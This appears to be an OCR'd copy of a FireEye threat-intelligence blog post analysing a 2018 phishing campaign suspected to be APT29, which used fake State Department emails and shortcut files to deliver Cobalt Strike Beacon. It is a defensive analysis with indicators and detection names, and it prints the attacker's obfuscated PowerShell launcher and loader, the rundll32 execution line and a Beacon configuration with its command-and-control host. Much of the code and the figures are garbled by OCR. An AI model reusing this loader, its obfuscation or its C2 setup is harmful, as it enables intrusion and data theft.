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Introduction

* FireEye devices detected intrusion attempts against multiple industries, including think tank, law enforcement,
media, U.S. military, imagery, transportation, pharmaceutical, national government, and defense contracting.

e The attempts involved a phishing email appearing to be from the U.S. Department of State with links to zip files
containing malicious Windows shortcuts that delivered Cobalt Strike Beacon.

o Shared technical artifacts; tactics, techniques, and procedures (TTPs); and targeting connect this activity to
previously observed activity suspected to be APT?29.

e APT?29 is known to transition away from phishing implants within hours of initial compromise.

On November 14, 2018, FireEye detected new targeted phishing activity at more than 20 of our clients across multiple

industries.

(UPDATE) This campaign has targeted over 20 FireEye customers across: Defense, Imagery, Law Enforcement,
Local Government, Media, Military, Pharmaceutical, Think Tank, Transportation, & US Public Sector industries in

multiple geographic regions.

FireEye (@FireEye) November 15, 2018

The attacker appears to have compromised the email server of a hospital and the corporate website of a consulting company
in order to use their infrastructure to send phishing emails. The phishing emails were made to look like secure
communication from a Public Affairs official at the U.S. Department of State, hosted on a page made to look like another
Department of State Public Affairs official's personal drive, and used a legitimate Department of State form as a decoy. This
information could be obtained via publicly available data, and there is no indication that the Department of State network
was involved in this campaign. The attacker used unique links in each phishing email and the links that FireEye observed
were used to download a ZIP archive that contained a weaponized Windows shortcut file, launching both a benign decoy

document and a Cobalt Strike Beacon backdoor, customized by the attacker to blend in with legitimate network traffic.

Several elements from this campaign — including the resources invested in the phishing email and network infrastructure, the
metadata from the weaponized shortcut file payload, and the specific victim individuals and organizations targeted — are
directly linked to the last observed APT29 phishing campaign from November 2016. This blog post explores those technical

breadcrumbs and the possible intentions of this activity.

Attribution Challenges

Conclusive FireEye attribution is often obtained through our Mandiant consulting team's investigation of incidents at
compromised organizations, to identify details of the attack and post-compromise activity at victims. FireEye is still

analyzing this activity.

There are several similarities and technical overlaps between the 14 November 2018, phishing campaign and the suspected

APT?29 phishing campaign on 9 November 2016, both of which occurred shortly after U.S. elections. However, the new
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campaign included creative new elements as well as a seemingly deliberate reuse of old phishing tactics, techniques and
procedures (TTPs), including using the same system to weaponize a Windows shortcut (LNK) file. APT29 is a sophisticated
actor, and while sophisticated actors are not infallible, seemingly blatant mistakes are cause for pause when considering
historical uses of deception by Russian intelligence services. It has also been over a year since we have conclusively
identified APT29 activity, which raises questions about the timing and the similarities of the activity after such a long

interlude.

Notable similarities between this and the 2016 campaign include the Windows shortcut metadata, targeted organizations and
specific individuals, phishing email construction, and the use of compromised infrastructure. Notable differences include the
use of Cobalt Strike, rather than custom malware; however, many espionage actors do use publicly and commercially

available frameworks for reasons such as plausible deniability.

During the phishing campaign, there were indications that the site hosting the malware was selectively serving payloads. For
example, requests using incorrect HTTP headers reportedly served ZIP archives containing only the benign publicly
available Department of State form. It is possible that the threat actor served additional and different payloads depending on

the link visited; however, FireEye has only observed two: the benign and Cobalt Strike variations.

We provide details of this in the activity summary. Analysis of the campaign is ongoing, and we welcome any additional

information from the community.

Activity Summary

The threat actor crafted the phishing emails to masquerade as a U.S. Department of State Public Affairs official sharing an
official document. The links led to a ZIP archive that contained a weaponized Windows shortcut file hosted on a likely
compromised legitimate domain, jmj[.].com. The shortcut file was crafted to execute a PowerShell command that read,

decoded, and executed additional code from within the shortcut file.

Upon execution, the shortcut file dropped a benign, publicly available, U.S. Department of State form and Cobalt Strike
Beacon. Cobalt Strike is a commercially available post-exploitation framework. The BEACON payload was configured with
a modified variation of the publicly available "Pandora" Malleable C2 Profile and used a command and control (C2) domain
— pandorasong|.]Jcom — assessed to be a masquerade of the Pandora music streaming service. The customization of the C2
profile may have been intended to defeat less resilient network detection methods dependent on the default configurations.
The shortcut metadata indicates it was built on the same or very similar system as the shortcut used in the November 2016

campaign. The decoy content is shown in Figure 1.
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Figure 1: Decoy document content
Similarities to Older Activity

This activity has TTP and targeting overlap with previous activity, suspected to be APT29. The malicious LNK used in the
recent spearphishing campaign, ds7002.Ink (MD5: 6ed0020b0851fb71d5b0076f4ee95f3c), has technical overlaps with a
suspected APT29 LNK from November 2016, 37486-the-shocking-truth-about-election-rigging-in-america.rtf.Ink (MD5:
£713d5df826c6051e65f995e57d6817d), which was publicly reported by Volexity. The 2018 and 2016 LNK files are similar
in structure and code, and contain significant metadata overlap, including the MAC address of the system on which the LNK

was created.

Additional overlap was observed in the targeting and tactics employed in the phishing campaigns responsible for distributing
these LNK file. Previous APT?29 activity targeted some of the same recipients of this email campaign, and APT29 has

leveraged large waves of emails in previous campaigns.

Outlook and Implications

Page 3 of 11


https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/

https://www.fireeye.com /blog/threat-research/2018/11 /not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt 29-phishing-campaign.htm|

Analysis of this activity is ongoing, but if the APT29 attribution is strengthened, it would be the first activity uncovered
from this sophisticated group in at least a year. Given the widespread nature of the targeting, organizations that have
previously been targeted by APT29 should take note of this activity. For network defenders, whether or not this activity was
conducted by APT29 should be secondary to properly investigating the full scope of the intrusion, which is of critical

importance if the elusive and deceptive APT29 operators indeed had access to your environment.

Technical Details

Phishing

Emails were sent from DOSOneDriveNotifications-svCT-
Mailboxe36625aaa85747214aa50342836a2315aaa36928202aa46271691a8255aaa15382822aa25821925a0245@northshorehealthgm]|
with the subject Stevenson, Susan N shared "TP18-DS7002 (UNCLASSIFIED)" with you. The distribution of emails varied
significantly between the affected organizations. While most targeted FireEye customers received three or fewer emails,

some received significantly more, with one customer receiving 136.

Each phishing email contained a unique malicious URL, likely for tracking victim clicks. The pattern of this URL is shown

in Figure 2.

Figure 2: Malicious URL structure

Outside of the length of the sender email address, which may have been truncated on some recipient email clients, the
attacker made little effort to hide the true source of the emails, including that they were not actually sent from the

Department of State. Figure 3 provides a redacted snapshot of email headers from the phishing message.

From: DOSOneDriveNotifications

<D0SOneDriveNotifications-svCT-
Mailboxe36625aaa85747214aa50342836a231522a369282822a46271691a8255aaa15382822aa25821925a8245@northshorehealthgm.org=
To: "REDACTED" <REDACTED=>

Subject: Stevenson, Susan N shared "TP18-DS7082 (UNCLASSIFIED)™ with you.
Thread-Topic: Stevenson, Susan N shared "TP18-DS7802 (UNCLASSIFIED)" with you.
Thread-Index: AQHUfCSc/7um76NhAkSH+LuPs+eRyg==

Date: Wed, 14 Nov 2018 14:16:17 +0000

Message-ID: <beBcb28cc2d94191ba7e@f255ffedcB2@ccnsmaill.cens.int>
Accept-Language: en-US

Content-Language: en-US

X-MS-Has-Attach: yes

X-MS-TNEF-Correlator:

x-ms-exchange-transport-fromentityheader: Hosted

x-originating-ip: [38.95.111.206]

Content-Type: multipart/related;
boundary="_006_be8cb28cc2d94191ba7e@f255ffedcB2ccnsmaillcensint_";
type="multipart/alternative"

X-VPM-MSG-ID: 95b1385c-b6b7-41c@-a325-78a3da@74b3f

X-VPM-HOST: svcZixOutl.era.citon.com

X-VPM-GROUP-ID: aB8c9574c-90ee-42a6-89ae-7e83e474c27b

X-VPM-ENC-REGIME: Plaintext

X-VPM-IS-HYBRID: @

Return-Path: dosonedrivenotifications-svct-
mailboxe36625aaaB5747214aa50342836a2315aaa36928282aa46271691a8255aaa15382822aa25821925a8245@northshorehealthgm.org
MIME-Version: 1.0

Figure 3: Redacted email headers
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The malicious links are known to have served two variants of the file ds7002.zip. The first variant (MD5:
3fccf531ff0ae6fedd7c586774b17a2d), contained ds7002.Ink (MD5: 6ed0020b0851fb71d5b0076f4ee95f3c). ds7002.Ink was
a malicious shortcut (LNK) file that contained an embedded BEACON DLL and decoy PDF, and was crafted to launch a
PowerShell command. On execution, the PowerShell command extracted and executed the Cobalt Strike BEACON
backdoor and decoy PDF. The other observed variant of ds7002.zip (MD5: 658c6fe38f95995fa8dc8f6cfe41df7b) contained
only the benign decoy document. The decoy document ds7002.pdf (MD5: 313f4808aa2a2073005d219bc68971cd) appears
to have been downloaded from hxxps://eforms.state.gov/Forms/ds7002.PDF.

The BEACON backdoor communicated with the C2 domain pandorasong[.]Jcom (95.216.59[.]92). The domain leveraged

privacy protection, but had a start of authority (SOA) record containing vleger@tutanota.com.

Our analysis indicates that the attacker started configuring infrastructure approximately 30 days prior to the attack. This is a

significantly longer delay than many other attackers we track. Table 1 contains a timeline of this activity.

Time Event Source

2018-10-15 15:35:19Z pandorasong|[.]Jcom registered Registrant Information
2018-10-15 17:39:00Z pandorasong|.Jcom SSL certificate established Certificate Transparency
2018-10-15 18:52:06Z Cobalt Strike server established Scan Data

2018-11-02 10:25:58Z LNK Weaponized LNK Metadata
2018-11-13 17:58:417Z 3fccf531ff0ae6fedd7c586774b17a2d modified Archive Metadata
2018-11-14 01:48:347Z 658c6fe38f95995fa8dc8f6cfe41df7b modified Archive Metadata
2018-11-14 08:23:10Z First observed phishing e-mail sent Telemetry

Table 1: Operational timeline

Execution

Upon execution of the malicious LNK, ds7002.lnk (MD5: 6ed0020b0851fb71d5b0076f4ee95f3c), the following PowerShell

command was executed:

\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -noni -ep bypass
$zk="IHBOZ3QIMHgWMDA1ZTIiZTskdmNxPTBAMDAWN]jIzYjY7IHRiPSIkczcwMDIubG5
rIjtpZiAoLW5vdChUZXNGLVBhdGggIHRiKS17JGI1PUdLdC1DaGLsZE 10ZWagLVBhdGggIE
Vudjp@zZW1wIC1GaWx@ZXIgJHRIIC1SZWNTcnN1021mICgtbm9I@ICRVZSkge2V4aXRIW
Q1PLkRpcmVjdG9yeVB60INTAENTcnI1bnREaXJ1Y3RvenkoJGI1LkRpcmVjdGIyeU5hbWUp
030kdnp2aT10ZXctT2JqZWNOIE1PLkZpbGVTdHI1YWAgIHRiLCdPcGVulywnUmVhZCcs
1J1YWRXcm10ZSc7IGIPU51dy1PYmplY3QgYn10ZVtdKCR2Y3ELIHBOZ3QpOyRyPSR2en
ZpLIN1ZWs0JHBOZ3QsWATPLINLZWtPcmlnaW5d0jpCZWdpbik7IHI9IHZ6dmkuUmVhZC
gkb2UsMCwkdmNxL SRwdGd@KTskb2U9WONvbnZ1cnRd0jpGemItQmFzZTYBQ2hhckFy
cmF5KCRvZSwwLCRvZS5MZW5ndGgpOyR6az 1bVGV4dC5FbmNvZGluZ 1060k FTQOTIL
kdldFN@cmluZygkb2Up0211leCAkems7 " ; $fz="FromBase'+0x40+'String';$rhia=[Text.E
ncoding]::ASCII.GetString([Convert]::$fz.Invoke($zk));iex $rhia;

This command included some specific obfuscation, which may indicate attempts to bypass specific detection logic. For
example, the use of 'FromBase'+0x40+'String', in place of FromBase64String, the PowerShell command used to decode

base64.
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The decoded command consisted of additional PowerShell that read the content of ds7002.Ink from offset 0x5e2be to offset
0x623b6, base64 decoded the extracted content, and executed it as additional PowerShell content. The embedded
PowerShell code decoded to the following:

$ptgt=0x0005e2be;
$vcq=0x000623h6;
$tb="ds7002.1nk";

if (-not(Test-Path $tb))
{
$oe=Get-ChildItem -Path $Env:temp -Filter $tb -Recurse;
if (-not $oe)
{
exit
}
[10.Directory]::SetCurrentDirectory($oe.DirectoryName);
}
$vzvi=New-Object I0.FileStream $tb, 'Open’, 'Read', 'Readlrite’;
$oe=New-Object byte[1($vcg-$ptgt);
$r=$vzvi.Seek($ptgt, [10.SeekOrigin]::Begin);
$r=$vzvi.Read($oe, 0, $vcq-$ptgt);
$oe=[Convert]::FromBase64CharArray($oe,0,$oe.Length);
$zk=[Text.Encoding]: :ASCII.GetString($oe);

iex $zk;

When the decoded PowerShell is compared to the older 2016 PowerShell embedded loader (Figure 4), it's clear that
similarities still exist. However, the new activity leverages randomized variable and function names, as well as obfuscating

strings contained in the script.

$tpfgo = - ( ) + (=15 ) |
) B
£imally
i if=
5zhaia - s Oxle 4 i + } H = Bew-Objec eScrean (fhandle, Sacc)
] return SIs
) }
function WEWQER (Sblthn, $wabxu, Soojjhn) 33 function KOE GESOOE (50, $1, §k)
i | 3a [
for (fwysmap = (; Gwyomap -1t Gwabxn: $wyomspid) i for($s = @; Si -it §i; Saee)
i i
§blihn|fwyemsp] = Sbltho|Swyemsp] -bzor Soojjbu il a7 §b[§i] = §b[§i] -bxor §k
! 1 38 )
¥ "
fanction wurfoe(§iwwma, Soufgke. Sedblcez, Seelag) on CopyFileParc||I0.FileStreem| $ifd, $os,
[ [10.FileSesean] fafs)
Shivey = Hew-Ubiect byse(] Sfzxkdrz = $hluev.length $iwwma, | 4 {
Seek{fonfgke, [I0.SeekOrigin]:iBegin) | ost-mull while {§edbloez - i| @ $cnpbuf = New-Object byvel] BiB2 $buflen =
W = 3) Seapbul. L -Seck (§os2,
1 | [T0.5eak0rigin] : :Begin) | cus-null while (§len
iF ($fzxkdrs -gt Sedbloaz) i -gt o)
1 i
Sfzeidrr = Sedbleex il 4 Sifd ReadiSemnbuf. 0. Shuflen] | suz-mull

Figure 4: Shared functions to loader in older activity (XOR decode function and CopyFilePart)

The PowerShell loader code is obfuscated, but a short de-obfuscated snippet is shown as follows. The decoy PDF and
BEACON loader DLL are read from specific offsets within the LNK, decoded, and their contents executed. The BEACON

loader DLL is executed with the export function "PointFunctionCall":
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[TRUNCATED]
$jzffhy = [10.FileAccess]::READ
$gibisec = myayxvj $("ds7002.1nk")
$oufgke = 0x48bd8
$wabxu = 0x5e2be - $oufgke
$1blij = bygtqi $gibisec $oufgke $wabxu $("%TEMP%\ds7002.PDF") Invoke-Item
$((lylyvve @((7,(30 + 0x34 - 3),65,(84 - 5),(-38 + 112),(-16 + 0x25 + 52))) 35))
$oufgke = 0x0dd8
$wabxu = 0x48bd8 - $oufgke
$yhcgpw = bygtqi $gibisec $oufgke $wabxu $("%LOCALAPPDATA%\cyzfc.dat") if
($ENV:PROCESSOR_ARCHITECTURE -eq $("AMD64")) { & ($("rund1132.exe")) $(",")
$("PointFunctionCall") }

Files Dropped

Upon successful execution of the LNK file, it dropped the following files to the victim's system:

¢ %APPDATA%\Local\cyzfc.dat (MD5: 16bbc967a8b6a365871a05c74a4f345b)
o BEACON loader DLL
e %TEMP%\ds7002.PDF (MD5: 313f4808aa2a2073005d219bc68971cd)

o Decoy document
The dropped BEACON loader DLL was executed by RunDI132.exe using the export function "PointFunctionCall":

"C:\Windows\system32\rundll32.exe"
C:\Users\Administrator\AppData\Local\cyzfc.dat, PointFunctionCall

The BEACON payload included the following configuration:

authorization_id: 0x311168c
dns_sleep: 0
http_headers_c2_post_req:
Accept: */*
Content-Type: text/xml
X-Requested-With: XMLHttpRequest
Host: pandorasong.com
http_headers_c2_request:
Accept: */*
GetContentFeatures.DLNA.ORG: 1
Host: pandorasong[.]com
Cookie: __utma=310066733.2884534440.1433201462.1403204372.1385202498.7;
jitter: 17
named_pipes: \\\\%s\\pipe\\msagent_%x
process_inject_targets:
Swindir%\\syswow64\\rund1132.exe
%swindir%\\sysnative\\rundl132.exe
beacon_interval: 300
c2:
conntype: SSL
host: pandorasong[.]com
port: 443
c2_urls:

pandorasong[.]com/radio/xmlrpc/v45
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pandorasong[ . Jcom/access/
c2_user_agents: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko

Network Communications

After successful installation/initialization of the malware, it made the following callback to the C2 server
pandorasong|.]Jcom via TCP/443 SSL. The sample was configured to use a malleable C2 profile for its network
communications. The specific profile used appears to be a modified version of the publicly available Pandora C2 profile.
The profile may have been changed to bypass common detections for the publicly available malleable profiles. The

following is a sample GET request:

GET /access/?version=4&1id=1582502724&token=ajlomeomnmeapoagcknffjaehikhmpep
Bdhmoefmcnoiohgkkaabfoncfninglnlbmnaahmhjjfnopdapdaholmanofaoodkiokobenhjd
Mjcmoagoimbahnlbdelchkffojeobfmnemdcoibocjgnjdkkbfeinlbnflaeiplendldibhnhjmbg
agigjniphmemcbhmaibmfibjekfcimjlhnlamhicakfmcpljaeljhcpbmgblgnappmkpbcko
HTTP/1.1
Accept: */*

GetContentFeatures.DLNA.ORG: 1

Host: pandorasong.com

Cookie: __utma=310066733.2884534440.1433201462.1403204372.1385202498.7;
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like
Gecko

Connection: Keep-Alive

Cache-Control: no-cache

Similarities to Older Activity

Figure 5 and Figure 6 show the overlapping characteristics between the LNK used in the recent spear phish emails,
ds7002.Ink (MD5: 6ed0020b0851fb71d5b0076f4ee95f3c), compared to a suspected APT29 LNK from the November 2016
attack that led to the SPTIKERUSH backdoor, 37486-the-shocking-truth-about-election-rigging-in-america.rtf.Ink (MD5:
£713d5df826c6051e65f995e57d6817d).

Last accessed: 07/14/2009 (04352:32.0) [UTC) - 36 Date created: 07/14/2009 (04:52:32.0) (U

Long directory name: WindowsPowerShell | 27 Last accessed: 07/14/2009 (04:52:32.0)
38 Long directory name: WindowsPowershell

Last modified: 02/16/2016 (18:50:44.0) [UTC) 39
Folder attributes: 0%00000010  (FILE_ATTRIBUTE_DIRECTORY) 40 Last modified: 02/16/2016 (18:50:44.0) [UTC)
ShoTT diTectory name: vi.0 41 Folder attributes: 0X00000030  (FILE_ATTRIBUIE_DIRECTORY)
Date created: 07/14/2009 (04:52:32.0) [UTC) | 42 Shorc directory name: vi.0
Last accessed: 02/16/2016 (18150:44.0) [UTC) 43 Date create: 07/14/2009 (04152132.0) ]
Long directory name: vi.0 Last accessed: 02/16/2016 (18150:44.0) [UTC)

Long directory name: vi.0
File size: 452608 bytes d
Last modified: 07/14/2008 (01:14:26.0) [UTE) 47 File size: 482608 bytes
File sttributes: 0%00000020  (FILE_ATTRIBUTE_ARCHIVE) | 48 Last modified: 07/14/2009 (0 26.0) [UTC)
£.3 Tilename: powersnell.exe 49 File arcribuces: 0X00000020 ATTRIBUTE_ARCHIVE}
Date created: 07/13/2008 (23:32:38.0) [UTE) | 50 8.3 filename: powershell . exe
Last accessed: 07/13/2009 (23:32:38.0) [UTC) 1 Date created: 07/13/2009 (23:32:38.0) [UIC)
Long filename: powershell.exe | 52 Last accessed: 07/13/2009 (23:32:38.0) [UTC)

Long filename: powershell.exe
[Link Info]
Location flags: 0x00000001  (VolumelBRndlocalBasePach) K Info]
Drive type: 3 {ERIVE_FIXED} E Tion flags: 1 (VolumeIDAndLocalBasePach |

@0Drive serial number: c4b2-bdlc g rive type: 3 (DRIVE_FIXED)

Volume label (ASCII): Drive serial number: cib2-bdic

Local path (ASCII): olume lsbel (ASCII):
C:\Windows' Wi Shellirl.o\ 11.exe | 60 Local path (ASCID):
C:\Windews AW 11\v1.0\ 11.exe

[Scring Daca)
Comment (UNICODE) : daT002.pdE
Relative path (UNICODE):

. A ARLD

System3i2\Wi rShellivl.o hell.exe
-nond -ep bypass

X FTBAHDANN ) 12 Y ) Y TJHRAPSJRe 2O TLITPILAOLNS

'G91PUdldC1DaGlsZEL0ZWOQL Vud)p IwIC1GAaWX0ZXT

S0 ICRvISkgeV 1PLiRpcmVidGoye V0 EOLNI AN e bR

SREWURCI0RANPIATICINGT T JQINNOIEL PLRIpDOGVTAHILYNWD

§3 =
' JG92ET

3a21uZy10cnV0aClhYm91dC11bGVIdG1Y
1 TaNYGRE1ubIgaVEVAC 1 YNRAICRnRE1 TTHgZ PER
BpbGRIGVEICIQYNROICRFENY 4GV cCATRIL 386V Y ICRRICL S 2NN erdL0L L JTYSERRTLYS
1YWRNCm1025c 7691 PUS 1dy] PYmplY300¥n1 0ZVEARCRZYSEC THB RvenldO3pT ZXRDAX Iy ZWS ORG1y ZWHOb ITSHCR4 LERpCR 4G9y e USREWTPOI 0kaWZ K IDOGTRVILUS 18

VAChUZXNOL!
@THRA IC1SZHN1caN102 1mIC
EaXJ1¥3RvenkalG9LLkRpamY
@THR1 LEAPCaVLI ywnUnVh2C:

H1uLNFL2X,

oz w1 JHBOZ3QSKOLPLIN1ZREPCMLOANS WAPBLKTJHIS. TV IACBITYSGANX1UIRYZHFE ICRILC WRUBVhZCEsd1 1 TWRKER1 02 8¢ T23q
nZC kb2 sMoWkdmiX L SRwdGA0KT skb2USKONVDN2 LonRa03 peemst QuF 12 TYOQ2 hhakEycnE SKCRVISw ZRNOTGS JG97KT skaWZ KL1N1 ZHs0IGZLFTITySTIWV T 3Ip221uXTo6QRVnaR4pOYR
WLCRYZSSMZHSnAGROYREaZ1LVGY4dCS FhadivZG1uZ 1060k TRO1ILkd1dFNOcml uZ ygkb2UR02 11eCA PERQUUSVEZCgleCHwL ¥R4PVEDb2 52ZXI0XTO6RNIVETThCZUZNENCYKIBendhe Sgke
Kkema7? ;2= FremBase’ +0x40+' STring';$Enia=(Text.Enceding) : tASCII.CecStrang((Cenv [ WWLCRALKX1EnA0aCkT JHMOW LR e HQURNS 3B 11eChk:
erc)::$fz.Invoke i$2k) ) iex $rhia; = z5=')) siex $s; [

Figure 5: LNK characteristics: new activity (left) and old activity (right)
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Tcon location (UNICODE): C:\windows\system32\shel132.411 i| 85 Tcon 1ocacien (UNTCCDE): €:\Windows\System32\shel132.d11
|| &
{Icon Location] &7 (Icom Locationm)
Icon loecation (ASCII): ASystemRootV\system32\shelldZ.dll | 68 Icon location (ASCII): ASystemRoct¥\System32\shell32.dll
Icon leeation (UNICODE): ASystemRootd\system3Z\shelldZ.dll | 89 Icon location (UNICODE): ASystemRoot¥\System32\shell32.dl1l
70
[Known Folder Location] i| 72 (Rnown Folder Location)
Enewn folder GUID: 1acl4eT7-02e7-4e5d-b744-2eblaes108b7 = System 72 Known folder GUID: lacld4e?7-02e7-4e5d-b744-2eblaes198b7 = System
First child segment offset: 213 bytes 73 First child segment offsec: 213 bytes
74
[Metadata Fropexty Store) i| 75 (Metadata Propercy Store]
Property set GUID: 338-bbfc-1. 76 Property set GUID: 4658802 -4cbc-4338-bblfc-139326986dce
ID: 4 77 1Dt 4
Value: Ox001f (VI_LPWSTR) T8 Valuer Ox001f (VI_LPWSTR)
5-1-5-21-1764276529-1526541938-4264456487-2000 $-1-§-21-1764276529-1526541935-4264456457-2000
7%
[Special Felder Locatiocn) B0  [Special Folder Locatien)
Special folder identifier: " (System) 81 Special folder identifier: ” (Systen)
First child segment cffset: 213 bytes B2 First child segment offseti 213 bytes
[}]
(Distributed Link Tracker Properties] 84 (Distributed Link Tracker Propercies]
Version: ] 85 Version: o
NetBIOS name: user-pc 86 MetBIOS name: user-pc
Droid volume identifier: ©S9b0b22-7202-4410-b323-294349c1475b ' B7 Droid volume identifier: ©5980622-7202-4410-b323-89434901d75b
Droid file identifier: 1 7922488 B8 Droid file identifier: 1leé-b. 7922488
Birch droid volume identifier: cS9B0BI2-7202-4420-b323-894 34814750 85 Birth droid volume identifier: ©59b0b22-7202-4410-b323-894 34901475
Birch droid file identifier: BEOEILEE-Ebed-11e6-bId9-080027922485 i| %0 Birch drosa file idencifier: DEOESLEE-Sbeé-11e6-bIdD-0800279224e5
MAC address: 08:00:27:92:24:85 | 91 MAC address: 08:00:27:92:24:85
UUID timestamp: 10/06/2016 (17:03:04.500) [UTC] 92 UUID cimestamp: 10/06/2016 (17:03:04.500) [UTC]
UUID sequence number: 13273 | 92 UUID sequence mumber: 13273
94
Unknown data at end of file, /| 25 vninown data st end of file.
-l =8

Figure 6: LNK characteristics: new activity (left) and old activity (right)

In addition to similar LNK characteristics, the PowerShell command is very similar to the code from the older sample that
executed the SPIKERUSH backdoor. Some of the same variable names are retained in this new version, as seen in Figure 7

and Figure 8.

1 $ptgt= x0005elbe; §os="x0009fdda;

2 $vog=0x000623b $oe=0x00081916;

] §th="ds7002. 1nk"; §E="37486-the-shockl

4 if (-not(Test-Path §tb)) if (-not(Test-Path §f))

s { i

& §oe=Ger-Childltem -Path $Envitemp -Filter §tb -Recurse; §x = Ger-Childitem -Pach §Env:temp -Filter $f -Recurse;
7 if (-not §oe) [I0.Directory] : : SecCurrenctDirectory (§x.DirectoryName) ;
L= B b

] exit $1fd = New-Cbject IO.FileStream §f,'Open’,’Read",’'ResdWrite’;
10 1 §x = New-Object byte[] (§oe-§os):

11 [10.Directory] : : SecCurrencDirectory (§oe. DirectoryName) ; §ifd.Seek(§os, [10.SeekOrigin] : :Begin) ;

12 } $1£d.Read($x,0,§oe-Sos) :
13 $vIvi=iew-Cbiect IO.FileStream $tb,'Cpen’,’'Read’,’Readirite’; [ 1::F ($x,0,§x. Lengtn)
14 §oe=tiew-Cbiect byte[] (§voq-§ptat) ; §8=[Text.Encoding] : :ASCII.GetScring (§x) 7

15 §r=§vzvi.Seek(§ptgt, [I0.SeekOrigin] : :Begin) ; iex §s;

16 §r=§vzvi.Read($oe,0, §veq-$prgr)
17 §oe=(Convert]::FromBaseé4CharArray(§oe, O, foa.Length)

ie §zk=(Text.Encoding) : :ASCII.GecString (§oe) ¢
19 1ex §zk;

Figure 7: Embedded PowerShell: new activity (left) and old activity (right)
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L5 Syhegpw = bygtogl Sgibisec Soufgke Swabxu 7 ednitf = Ixixg.ExpandEnvironment3trings(
SU(Aylyvve B(((-56 + 200),249,(76 + 174 njvbxin{hcray({-3351 + 3433),(-5244 + 5298),
) (46 + ),4=8 + 252),(93 + 56 & 1 i 39, (6971 - 6932), (-196 + 247), 54, (-5926 +
¥, 076 + 91 + 77),(80 + 148),229,241,( 5961), (-3047 + 3101), (3980 - 3898), 43, (
+ 95 + 51),{13 + 212),{-99 + 343),(50 + i 4367 - 4313), 19, (-5252 + 5276), (-5658 +
34y , (=44 + ¥, 062 + 152) (=96 = + 5679), (-4431 + 4449), 43, (8321 - 8267), (
53),207,{=31 + 242) (=58 + 272) ,(-41 + H 9313 - 9251), 37, 43, 17, (-1164 + 1168), (-
4 4+ 112),062 + 147),{-50 + Oxdb + 1 167 + 173), (5940 - 5940), (8381 - 8378), (-
yo(=12 + Ox21 + 172))) 181)) 9749 + 9763), (9691 - 9675), (-4174 + 4263),

116 [Hif (SEWNV:PROCESSOR_ARCHITECTURE -eq $(( 19, (1977 - 1955), 3). 119))

Figure 8: Shared string obfuscation logic: new LNK activity (left) and old VERNALDROP activity (right)

Indicators

Indicator

dosonedrivenotifications-svct-
mailboxe36625aaa85747214aa50342836a2315aaa36
928202aa46271691a8255aaa15382822aa25821925a
0245@northshorehealthgm[.Jorg

Stevenson, Susan N shared "TP18-DS7002 (UNCLASSIFIED)" with
you

https://www.jmj[.]Jcom/personal/nauerthn_state_gov/*

pandorasong[.Jcom

95.216.59[.192
2b13b244aafelecace6lealll9alb2ee
3fccf531ff0ae6fedd7c586774b17a2d
658c6fe38f95995fa8dc8f6cfe41df7b
6ed0020b0851fb71d5b0076f4ee95f3c
313f4808aa2a2073005d219bc68971cd
16bbc967a8b6a365871a05c74a4f345b
%APPDATA%\Local\cyzfc.dat

%TEMP%\ds7002.PDF
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Description

Phishing email address from likely

compromised legitimate server

Phishing email subject

Malware hosting location on likely
compromised legitimate domain
BEACON C2

Resolution of pandorasong][.]Jcom
SSL certificate for pandorasong|[.]Jcom
Malicious ZIP archive MD5
Benign ZIP archive MD5
Malicious LNK file MD5

Benign decoy PDF MD5
BEACON DLL MD5

BEACON DLL file path

Benign decoy PDF file path
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Table 2: Indicators

Related Samples

37486-the-shocking-truth-about-election-rigging-in-america.rtf.Ink (MD5: £713d5df826c6051e65f995e57d6817d)

FireEye Detection

FireEye detected this activity across our platform. Table 3 contains the specific detection names that applied to this activity.

Product Detection names

Malware.Archive
Network Security Malware.Binary.Ink

Suspicious.Backdoor.Beacon

SUSPICIOUS POWERSHELL USAGE (METHODOLOGY)

Endpoint Securit
P Y Generic.mg.16bbc967a8b6a365

WINDOWS METHODOLOGY [PowerShell Base64 String]
WINDOWS METHODOLOGY [Rundll32 Roaming]
WINDOWS METHODOLOGY [PowerShell Script Block Warning]
WINDOWS METHODOLOGY [Base64 Char Args]

Threat Analytics Platform TADPOLE DOWNLOADER [Rundll Args]
INTEL HIT - IP [Structured Threat Reputation-Based]
INTEL HIT - FQDN [Structured Threat Reputation-Based] [DNS]
INTEL HIT - FQDN [Structured Threat Reputation-Based] [Non-DNS]
INTEL HIT - FILE HASH [Structured Threat Reputation-Based]

Table 3: FireEye product detections
Posted in

o Threat Intelligence

¢ Security & Identity

Source: https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html
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